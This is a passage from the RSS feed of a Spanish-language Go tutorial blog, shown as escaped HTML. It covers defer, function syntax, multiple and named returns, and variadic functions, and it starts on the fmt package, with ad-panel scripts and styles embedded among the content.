style=&#34;color:#5af78e&#34;&gt;&amp;#34;Esto se va a ejecutar después&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Esto se va a ejecutar primero&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Esto se va a ejecutar después&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Y esto se va a ejecutar hasta el final&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Y eso para qué? Pues es ideal para cerrar conexiones a base de datos, archivos o realizar algún tipo de limpieza a los objetos de nuestro código.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;const&lt;/span&gt; conexionBaseDeDatos &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;abreBaseDeDatos&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;defer&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;cierraBaseDeDatos&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;queryBaseDeDatos&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;otraQuery&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para la siguiente entrada de Go voy a hablar lo básico sobre &lt;em&gt;slices&lt;/em&gt;, &lt;em&gt;arrays&lt;/em&gt; y &lt;em&gt;maps&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que puedes visitar la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/doc/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial de go&lt;/a&gt;&#xA; si hay algo que desees profundizar.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Esta entrada tratará sobre los bucles en el lenguaje de programación go.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go maneja los bucles un poco diferente a lo que estás acostumbrado. Si ya dominas algún otro lenguaje de programación, probablemente recuerdes que hay bucles &lt;em&gt;while&lt;/em&gt;, &lt;em&gt;do while&lt;/em&gt; y for. Y si vienes de Python o Javascript, recordarás lo útil que son los bucles &lt;em&gt;for x in&lt;/em&gt; o &lt;em&gt;for x of&lt;/em&gt;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: funciones, argumentos y el paquete fmt</title>
      <link>https://coffeebytes.dev/es/go/go-funciones-argumentos-y-el-paquete-fmt/</link>
      <pubDate>Tue, 30 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-funciones-argumentos-y-el-paquete-fmt/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Esta entrada tratará sobre la sintaxis básica de las funciones de Go. Si no sabes absolutamente nada de go visita mi entrada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;go: introducción al lenguaje de programación, variables y tipos de datos&lt;/a&gt;&#xA; para empezar desde el principio de esta serie de tutoriales.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ahora sí, pasemos a las funciones.&lt;/p&gt;&#xA;&lt;h2 id=&#34;funciones-en-go&#34;&gt;Funciones en go&lt;/h2&gt;&#xA;&lt;p&gt;En go las funciones se declaran anteponiendo la palabra &lt;em&gt;func&lt;/em&gt; al nombre de la función. De la siguiente manera:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;deleteRoot&lt;/span&gt;() { }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda que al ser un lenguaje compilado, go requiere que especifiques el tipo de dato en los argumentos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;deleteRoot&lt;/span&gt;(argument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) { }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si los dos argumentos son del mismo tipo, podemos ahorrarnos una palabra omitiendo el primer tipo, en este caso &lt;em&gt;int&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;deleteRoot&lt;/span&gt;(argument, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;return-en-go&#34;&gt;Return en go&lt;/h3&gt;&#xA;&lt;p&gt;Como en casi todos los lenguajes usamos la palabra &lt;em&gt;return&lt;/em&gt; en una función para retornar un valor.&lt;/p&gt;&#xA;&lt;p&gt;Una función &lt;strong&gt;no requiere que retornes nada forzosamente&lt;/strong&gt;, y no necesitas especificar un retorno, como si harías en C++ y otros lenguajes similares.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, &lt;strong&gt;si tu función sí cuenta con un return, requieres especificar el tipo de dato a retornar,&lt;/strong&gt; colocándolo después de los argumentos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;ReturnOne&lt;/span&gt;(argument, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Así mismo, podemos retornar dos valores, como si de una tupla se tratara.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;ReturnOneAndTwo&lt;/span&gt;(argument, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) (&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y, justo como en Python, es posible asignar esos dos valores a dos variables diferentes, separándolas por una coma.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;a, b = &lt;span style=&#34;color:#57c7ff&#34;&gt;ReturnOneAndTwo&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;retornar-una-funcion-en-go&#34;&gt;Retornar una función en go&lt;/h3&gt;&#xA;&lt;p&gt;En go las funciones &amp;ldquo;son ciudadanos de primera clase&amp;rdquo; por lo que, en go, &lt;strong&gt;las funciones pueden retornar funciones.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;returnFunction&lt;/span&gt;(argument, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y, como la función retorna una función podemos llamar a esta última dentro de cualquier otro bloque de la siguiente manera:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// El equivalente a a llamar a la función retornada&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;returnFunction&lt;/span&gt;()()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;return-sin-nombre&#34;&gt;Return sin nombre&lt;/h3&gt;&#xA;&lt;p&gt;Go tiene una manera especial de devolver un valor de manera implícita, sin tener que colocarlo después de &lt;em&gt;return&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;split&lt;/span&gt;(sum &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) (x, y &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;// retornará x y x de manera implícita&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        x = sum &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        y = sum &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta sintaxis puede parecer un poco truculenta, pero realmente es muy sencilla. ¿Recuerdas que te dije que el tipo de dato que retorna una función va después de los argumentos? &lt;em&gt;(x, y int)&lt;/em&gt; Pues aquí, además del tipo, especificamos que variables retornará y de que tipo, &lt;strong&gt;en caso de que no coloquemos nada después de return&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Básicamente le estamos diciendo a go: &amp;ldquo;oye, si no pongo nada después del return, retorna las variables &amp;ldquo;x&amp;rdquo; y &amp;ldquo;y&amp;rdquo;, que son de tipo &lt;em&gt;int&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;funciones-variadicas&#34;&gt;Funciones variádicas&lt;/h3&gt;&#xA;&lt;p&gt;En go, las funciones que reciben una cantidad variable de argumentos requieren que pases el nombre del argumento que la contendrán, seguida de puntos suspensivos y el tipo de dato.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiples&lt;/span&gt;(nums &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(nums)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;si llegaras a ejecutar la función verías que nos retorna un array.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;multiples&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1 2 3 4 5] &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, con esto termina mi resumen de las funciones. Ahora pasemos a uno de los paquetes esenciales de go, el paquete fmt.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;paquete-fmt&#34;&gt;Paquete fmt&lt;/h2&gt;&#xA;&lt;p&gt;Este paquete es el que usarás normalmente para imprimir sentencias en pantalla y, ya puedo verlo en el futuro, el que usarás de manera incorrecta para debuggear.&lt;/p&gt;&#xA;&lt;p&gt;Antes que nada te digo que &lt;strong&gt;fmt viene de format package y es el paquete que se encargará de darle formato a cualquier tipo de entrada o salida de dato&lt;/strong&gt;. Con entrada 